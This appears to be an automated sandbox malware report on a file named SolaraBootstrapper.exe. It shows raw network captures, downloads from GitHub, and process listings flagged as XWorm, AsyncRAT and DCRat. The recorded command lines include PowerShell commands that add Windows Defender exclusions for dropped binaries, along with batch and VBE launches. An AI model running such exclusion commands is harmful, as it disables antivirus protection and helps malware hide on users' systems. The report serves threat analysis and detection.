2024-06-29 14:30:01 UTC	1378	IN	Data Raw: fa f6 ed 5a 37 b4 ad b0 6e 9b 29 32 77 ab da 06 01 9d 56 58 8b 2b f4 42 db da 4c db 1a ad 1a bb d8 6a 25 4d 22 7d ae c8 5e 59 64 52 5a 6f 53 93 c8 94 b3 b7 35 6c 56 7d be 54 3c de 41 0d bd 54 5f 50 d8 eb 15 66 a5 03 c7 15 66 cf 15 8e 8c cd d6 3a 07 ce eb cc de eb 1c ba af b3 f4 5f e7 a0 03 9d 45 07 8e 1c d0 59 7a e0 70 fc 06 a9 48 67 b7 7f 8d 12 63 c6 6a 45 cd 32 43 b6 c2 4e 59 61 52 39 b0 64 b6 83 ce 66 af e9 cb fa c4 da c6 b8 dd 74 36 fb 4d 5f d6 27 76 16 4c 1f 15 12 8d ed 96 33 89 f4 b9 22 7b 65 91 49 69 bd 6a 26 91 29 67 6f 6b 58 32 7d de 76 ca 2d a5 fa 82 c2 5e af 30 2b 1d 38 ae 30 7b ae 70 64 6c b6 2e 2d d4 d8 eb f5 42 73 fe 2f aa 98 2b e9 1c 4c 81 ce 3c 07 76 1b d7 52 6a 28 38 70 53 a7 b0 50 3b d4 5b 54 70 38 8b 3a d3 2c d2 1e db e8 0d 22 63 ce 76 Data Ascii: Z7n)2wVX+BLj%M"}^YdRZoS5lV}T<AT_Pff:_EYzpHgcjE2CNYaR9dft6M_'vL3"{eIij&)gokX2}v-^0+80{pdl.-Bs/+L<vRj(8pSP;[Tp8:,"cv
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 3e be 76 e6 7a f6 3b 6d 92 5b e7 cf ad 79 59 fe e6 11 ee d1 cf 0b 6f 2f be cb 09 73 fa 7a c9 b0 ca 6d 93 bb 54 af 7b f3 c5 ea e1 ca dc 82 0f 02 ef 05 55 9e f0 d0 2c e1 b0 38 05 bd 97 b2 37 8c 4c 98 da 14 1d 95 b8 ff 7e e7 cd 5d 75 c1 1d 07 29 b7 9c 1f 3b e5 cb 4f ce 77 1d dc f3 fd d0 83 9f 7f a3 5d 74 ff e3 5d 93 f7 64 be ca f9 73 5c 5a e0 a1 fa 9d 3b ae 94 78 e5 75 18 e4 d6 5e 27 4a f2 ec 73 4b 7a ac a4 7b 7f 6e 6d cd fd f5 3b d9 db 5e 04 e7 fd 71 b1 eb 4d 5e c3 a6 de aa 2d 1f 35 2f 68 ea b0 51 93 7d 3c d4 eb 40 9c 2b 1b 7b 92 55 5f cd 92 60 46 44 94 0f e6 b2 53 57 ae 07 e5 e6 dc 02 1b d7 c9 c9 85 c3 a1 3a d1 42 4f ae 2f b7 cd c6 05 31 17 7f 8c 3a 18 e6 21 cc bc 9b c7 2a ff 59 31 bf c2 8d ca a1 d5 ad b8 43 a9 21 ab 53 a9 41 02 3e d5 9b 5e 10 77 9f 60 f3 Data Ascii: >vz;m[yYo/szmT{U,87L~]u);Ow]t]ds\Z;xu^'JsKz{nm;^qM^-5/hQ}<@+{U_`FDSW:BO/1:!*Y1C!SA>^w`
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 1d f4 5e af d5 d5 fe 0b ae 2c 74 e9 f4 f0 4a fa d3 59 2b 0f dd f0 59 f3 41 fa 81 8e 27 e7 aa 6b 7b 8d 2b 5d e6 f7 d4 ff 7e f6 e9 e2 23 5d 5e 17 74 3a ba 6a 56 43 f7 cd 95 92 dc c4 55 c3 8e 3e bb 59 ff 66 ee 85 65 ec a4 c4 50 d1 a3 73 5f fc 58 2d 54 be 5c 5d eb d3 74 4b 7e 7d dd aa 3e 7b 0e f4 f6 f6 94 cd f9 f0 97 3f 57 3d 6f dd cd 55 16 b5 f0 c1 84 80 c1 bb 4e 5c ce bd 71 7c fc a2 f6 05 07 c3 7d 45 17 16 74 4a 9d c3 df b3 a1 6f a2 ff 5d ef b6 7e e4 ad 0b e1 23 03 8f 2d f9 c1 f5 ee 7b 9e b3 32 4a 3d 7d d2 63 de e9 99 b2 5c 7d e2 0f c5 a1 7d b7 cb ea f3 e6 e7 4d 5c 38 bb ae 63 0a 27 ff 49 63 7d b1 9b 76 4d c4 1d 7e 68 bb 03 bf a9 23 5b 3f 52 7d d9 bf b8 fa 59 d6 e6 d9 61 be b2 ce 9e 33 2e 78 5f 94 3e 52 1d 4b fe f1 54 bb 9b 95 df 71 b7 9e 7a d1 e7 52 c0 8c Data Ascii: ^,tJY+YA'k{+]~#]^t:jVCU>YfePs_X-T\]tK~}>{?W=oUN\q\|}EtJo]~#-{2J=}c\}}M\8c'Ic}vM~h#[?R}Ya3.x_>RKTqzR
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 97 6d 9e 6d 8a 90 db 09 8d a0 6e e8 cb 3c d0 70 ce 6f 35 1e 8d b6 8a ab 36 e6 70 1d ab 34 7f 1d ce 47 5a af ec bc ed ce 59 cf 6b 53 ab a7 cf 97 94 f8 66 36 46 c3 1e be 52 9a e2 b5 80 27 a1 f5 50 da 89 5e 15 89 b0 f0 67 59 49 b2 27 4c 2e 17 7e aa 88 1e 32 99 8e 36 a2 34 20 f1 33 a3 7c e0 84 1c 68 4e f5 ca 16 45 40 6b 66 c6 e7 75 89 f0 d6 ba e2 94 f8 3f 65 a0 0c 98 88 d0 7c 95 70 e2 5e e0 49 2e 70 e2 5c 79 a0 07 61 b9 72 43 b2 d6 9b b6 d9 fd 9b 7c b0 df 5a d2 ec 12 38 e6 8d bc 7f 80 12 43 33 d4 de 24 d4 c5 e0 bf e5 b6 98 f7 87 79 7b 7b fc 73 6f b1 0a 02 62 82 00 f8 8f e2 b6 bf 30 b7 17 e6 c0 fc 94 75 e3 00 58 3f 12 12 88 be db c2 fb f4 37 b7 96 23 c9 86 78 cc 64 b5 3e 41 2f 48 94 2e f6 8c 14 68 6d dc d2 3c a0 2c 59 89 d8 e4 00 ed b1 39 7e 9d d8 a9 d0 ce 9e Data Ascii: mmn<po56p4GZYkSf6FR'P^gYI'L.~264 3\|hNE@kfu?e\|p^I.p\yarC\|Z8C3$y{{sob0uX?7#xd>A/H.hm<,Y9~
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: b4 70 38 a9 2c ff 78 f6 c3 6e 3a 39 8d f1 b0 0d be d4 eb 87 6c 81 be 1a 2f 88 da 98 b5 ff da 95 4b c2 0c ad ac 25 c6 95 37 47 14 a4 92 b5 dd 07 b2 7a 9b 0d 26 1d 9e 1b 35 f6 3c 07 1a b6 3b a6 35 36 0f d6 9b 6b bd 4c 67 a6 13 17 ae ed 3e 89 2f b4 78 30 53 5b 64 68 91 98 9b b1 bf 3c 50 84 99 a8 7a 48 74 b8 cf 22 fa b9 d7 45 15 ca 2c 24 ee 0d 00 89 93 b8 cf d9 77 b2 fe 37 69 45 36 27 09 e6 f1 be 30 2f dc 23 58 bc bc 2c 91 ee ee 10 23 31 d1 fa ba f4 17 7d d7 c1 c7 a2 12 33 11 cf 01 c4 70 0e 62 10 40 f4 ff d5 01 e0 06 38 3f 7c 95 f9 8c bc 83 9b 3d dc 03 a4 a9 ff 21 02 22 62 4a a2 82 f2 60 45 40 50 44 04 26 0f e6 07 78 3f 44 80 ed db 08 80 f4 5c cf 7a 58 c3 41 1a 56 9e 5e 98 ab e5 9d 5d ad 9d be 13 ed 70 f0 b1 c6 7c 46 25 00 36 5a f2 cf 5c 53 0c 2a 02 01 9b 7c Data Ascii: p8,xn:9l/K%7Gz&5<;56kLg>/x0S[dh<PzHt"E,$w7iE6'0/#X,#1}3pb@8?\|=!"bJ`E@PD&x?D\zXAV^]p\|F%6Z\S*\|
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: c8 4f 2c ed 3c 26 22 be 1f b8 13 e7 1e 77 fa bc 9a a5 09 b0 7f 68 d1 d8 51 3a da df 63 71 d0 e9 68 03 13 a9 c3 2d d0 00 da 0c 76 ff 8f b3 68 ec 25 61 22 fc 30 18 20 21 0e fd 86 d1 4d 6f 59 f8 d7 b0 61 9d 9c f2 d0 ac 5c 65 f5 62 87 4c 2f a2 fe 5b 46 f7 c5 46 f1 59 6a 12 fd a3 18 dd 2f cc fd bd 8c f5 03 c5 ca 33 93 a4 60 e3 58 56 ee 71 82 b3 37 09 62 ef 2c f0 6f 78 40 2f 06 b7 8f 28 21 77 db 06 ec 32 04 db d4 d5 55 66 9f f1 b5 1d 85 26 2e 11 69 89 bd 62 e1 5f b0 1e bc d9 72 27 be 6b d7 da c2 db f1 31 ec e9 a3 89 17 bc 17 76 ef 85 3e 54 bc c1 37 39 e2 0c 7f cb 7a fd e5 9b 9b 0f ea b5 b3 a6 77 93 93 46 9a b2 ec 73 dc e2 37 23 61 a2 9b 10 3d 17 87 8a b7 fc ad b3 f4 7a 7d 44 73 62 09 0f 33 07 9b 05 16 2d da 44 9c 8b a2 39 65 3b 7a d3 b1 28 02 b9 c7 8f 98 08 76 Data Ascii: O,<&"whQ:cqh-vh%a"0 !MoYa\ebL/[FFYj/3`XVq7b,ox@/(!w2Uf&.ib_r'k1v>T79zwFs7#a=z}Dsb3-D9e;z(v
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 4f e1 f1 6b e7 83 4b ec fd 9f 95 06 4c cc 7a a1 4a 03 21 0a aa a1 58 9e 71 48 d5 23 53 38 a3 6a bc 87 08 34 0a c3 5c db c2 51 36 d9 db a9 c2 fc 31 c5 07 50 51 48 a1 1e 5f a7 50 f9 ca 0c 67 f2 ec de 70 f8 d8 0a 5d e4 84 46 72 2d e7 e4 ad 5c be 2b 32 8b a7 64 14 45 95 05 bd 03 96 65 3a 90 95 b4 83 3b 42 62 3d 57 b9 67 ec bc 34 12 b0 e3 92 ab df 46 74 39 30 bc 8d 3b 80 4e 33 1b d7 c0 75 6b 95 ac 7c 1e 5d 09 37 e3 99 5c 8d 9a ce f3 5e 46 9f 0c 81 16 cd 2d b8 20 e6 06 f2 9f 6d 36 f1 34 db 44 76 0b ee 66 21 a9 6e 03 48 aa f2 ef dc 28 d7 31 7d d7 be 75 a3 c4 60 ba 2e ef b9 51 7e 46 7d 91 d8 27 bf 77 a4 28 63 62 2b 8f 19 90 f9 de 91 f2 73 ee 5b f9 08 96 e2 c9 3b 1a fc 66 86 67 3e e5 34 fa c0 b0 96 52 61 5b 9e 3c 2f 85 c2 72 78 6b eb 19 d8 be 43 a5 ea 42 e9 77 0e Data Ascii: OkKLzJ!XqH#S8j4\Q61PQH_Pgp]Fr-\+2dEe:;Bb=Wg4Ft90;N3uk\|]7\^F- m64Dvf!nH(1}u`.Q~F}'w(cb+s[;fg>4Ra[</rxkCBw
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: af 38 2c e5 56 8c c9 77 f5 67 c9 55 26 96 26 9b 84 06 b7 66 ba 95 fb 9c b5 61 0d af 9e 5b e1 3f 83 46 49 db 64 69 c5 f3 86 18 b5 15 1f 47 c9 3f 4e f6 d5 60 78 1f 74 e3 5d f3 fa f9 37 de 01 0f df 3c 49 63 2d cd 9c 3f ee b6 e2 77 01 6c ad 79 c7 93 00 a1 5b 78 f4 45 e0 d9 4b 3c 7e 58 06 33 2c ae c6 8c 1c 46 44 e4 e8 a9 fe 73 12 ed 8f 04 af 87 8e ef d4 f2 29 db 24 70 72 b9 50 1a 92 52 b0 10 7b 46 29 fa 1b c4 9c 2a 8a 59 6e 3c 3b ad ac ff ea 4a 26 d5 c6 fc 4b 12 b5 82 52 66 8d 36 85 74 cb b5 a4 57 2c 9b 4e d4 a1 dc cb a2 1a c2 c3 b5 87 bd a0 d6 8f d4 76 0c 55 ec cd 1f ad 57 65 f9 c7 36 38 53 94 ad 64 30 6e 6e 74 d4 ec ff 0b 9e ff 03 50 4b 03 04 14 00 00 00 08 00 58 52 b3 58 bb 8d 36 a8 80 29 00 00 28 58 00 00 2f 00 00 00 53 6f 6c 61 72 61 2e 44 69 72 2f 61 70 Data Ascii: 8,VwgU&&fa[?FIdiG?N`xt]7<Ic-?wly[xEK<~X3,FDs)$prPR{F)*Yn<;J&KRf6tW,NvUWe68Sd0nntPKXRX6)(X/Solara.Dir/ap
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 0c 0d 17 88 f7 27 cc 61 6d 9a 34 9d 9a b5 bc 19 88 b8 40 ff d9 0b 7c 22 8f 23 05 ce 26 4f e4 71 e4 90 00 22 65 ce c7 66 68 33 c9 59 9f 63 a4 e2 7e 99 bf a9 e9 9b 6f f6 18 26 ef 97 b9 9b 9a ba f9 66 8e 61 e2 c2 02 f1 64 7f 86 a2 89 fc c4 6b 16 97 53 14 5c 58 50 00 31 68 56 93 09 02 ed 3d cf 4c 30 52 71 11 bf 68 99 29 ca 54 02 37 4f 21 ed ab 11 73 35 cd 24 81 f6 9e ad 50 26 09 b8 88 f9 75 c6 2c f2 ac dc 6c d9 ce 2d 61 20 fc 46 bd b9 95 88 bf f1 dd 49 c9 47 cc ab 3b 18 a9 8c 99 79 98 63 50 1f d3 f9 f9 6b cd a9 32 0f 63 0c 2a 24 62 9e bd 3c 43 c3 45 cc b3 9f 66 68 33 c9 d9 13 c9 b8 a5 22 e6 ee a9 49 02 2e 82 44 08 0c 9e a5 03 a6 28 b4 44 10 3e 70 4e 11 9d 02 12 73 f6 e2 24 01 17 31 df 6e 64 20 32 a4 67 33 3b 6b 43 46 fc b2 23 a7 28 53 89 39 53 c3 b0 29 23 7e Data Ascii: 'am4@\|"#&Oq"efh3Yc~o&fadkS\XP1hV=L0Rqh)T7O!s5$P&u,l-a FIG;ycPk2c*$b<CEfh3"I.D(D>pNs$1nd 2g3;kCF#(S9S)#~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	62705	185.199.110.133	443	7728	C:\ProgramData\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 14:30:22 UTC	111	OUT	GET /quivings/Solara/main/Storage/version.txt HTTP/1.1 User-Agent: Solara Host: raw.githubusercontent.com
2024-06-29 14:30:22 UTC	888	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "43651a5efba5c6dabb0daaab29397030161de831ed8af43415b5de39c5210fbf" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 8118:27E8E0:D6879:F599F:667DF0EB Accept-Ranges: bytes Date: Sat, 29 Jun 2024 14:30:22 GMT Via: 1.1 varnish X-Served-By: cache-ewr18150-EWR X-Cache: HIT X-Cache-Hits: 3 X-Timer: S1719671422.385627,VS0,VE0 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 5e772134c8a6285be53d351426cd31da81e7cd0c Expires: Sat, 29 Jun 2024 14:35:22 GMT Source-Age: 283
2024-06-29 14:30:22 UTC	5	IN	Data Raw: 32 2e 34 33 0a Data Ascii: 2.43

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	62706	128.116.123.3	443	8236	C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 14:30:25 UTC	119	OUT	GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1 Host: clientsettings.roblox.com Connection: Keep-Alive
2024-06-29 14:30:25 UTC	628	IN	HTTP/1.1 200 OK content-length: 119 content-type: application/json; charset=utf-8 date: Sat, 29 Jun 2024 14:30:25 GMT server: Kestrel cache-control: no-cache strict-transport-security: max-age=3600 x-frame-options: SAMEORIGIN roblox-machine-id: 13532981-4b81-ece8-17be-b90b2462b8de x-roblox-region: us-central alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=259200 x-roblox-edge: fra2 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://ncs.roblox.com/upload"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1} connection: close
2024-06-29 14:30:25 UTC	119	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 36 33 31 2e 31 2e 36 33 31 30 34 37 32 22 2c 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 55 70 6c 6f 61 64 22 3a 22 76 65 72 73 69 6f 6e 2d 31 30 38 38 66 33 63 38 65 34 61 34 34 63 63 37 22 2c 22 62 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 2c 20 36 2c 20 31 2c 20 36 33 31 30 34 37 32 22 7d Data Ascii: {"version":"0.631.1.6310472","clientVersionUpload":"version-1088f3c8e4a44cc7","bootstrapperVersion":"1, 6, 1, 6310472"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	62707	185.199.110.133	443	8236	C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 14:30:26 UTC	115	OUT	GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-06-29 14:30:26 UTC	893	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "be7db9be1deadfdc76d20b8c3af37b22cb526ff56f85be6dc9d41c18ef6176db" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3296:1694:41201E:4A3D28:66800625 Accept-Ranges: bytes Date: Sat, 29 Jun 2024 14:30:26 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890098-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1719671426.307119,VS0,VE7 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 2c556d4082c4132f31bd81d6235eff7a85085916 Expires: Sat, 29 Jun 2024 14:35:26 GMT Source-Age: 0
2024-06-29 14:30:26 UTC	2	IN	Data Raw: 6e 0a Data Ascii: n

Target ID:	1
Start time:	10:29:55
Start date:	29/06/2024
Path:	C:\Users\user\Desktop\SolaraBootstrapper.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SolaraBootstrapper.exe"
Imagebase:	0x400000
File size:	2'435'584 bytes
MD5 hash:	A3063DEFFB695211EACAAD97E9C38936
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:29:56
Start date:	29/06/2024
Path:	C:\Users\user\AppData\Roaming\Bootstrapper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Bootstrapper.exe"
Imagebase:	0x3e0000
File size:	65'536 bytes
MD5 hash:	0C88F913B456D4FC6B5836275F2A48AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:29:56
Start date:	29/06/2024
Path:	C:\ProgramData\Bootstrapper.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Bootstrapper.exe"
Imagebase:	0x400000
File size:	128'000 bytes
MD5 hash:	38ABADB644A721C6526C13781F034F3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Bootstrapper.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\Bootstrapper.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Bootstrapper.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 59%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:29:56
Start date:	29/06/2024
Path:	C:\Users\user\AppData\Local\Temp\Boostraper.bat
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Boostraper.bat"
Imagebase:	0x770000
File size:	1'410'109 bytes
MD5 hash:	820CA8AB4B7500CE29E8A1A79B7B8D95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:29:57
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe"
Imagebase:	0x890000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:29:57
Start date:	29/06/2024
Path:	C:\ProgramData\SolaraBootstrapper.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\SolaraBootstrapper.exe"
Imagebase:	0x460000
File size:	13'312 bytes
MD5 hash:	6557BD5240397F026E675AFB78544A26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:29:57
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:29:58
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" "
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:29:58
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:29:58
Start date:	29/06/2024
Path:	C:\Media\fontreview.exe
Wow64 process (32bit):	false
Commandline:	"C:\Media\fontreview.exe"
Imagebase:	0x1b0000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000A.00000002.1449178331.000000001256D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:30:01
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:30:01
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
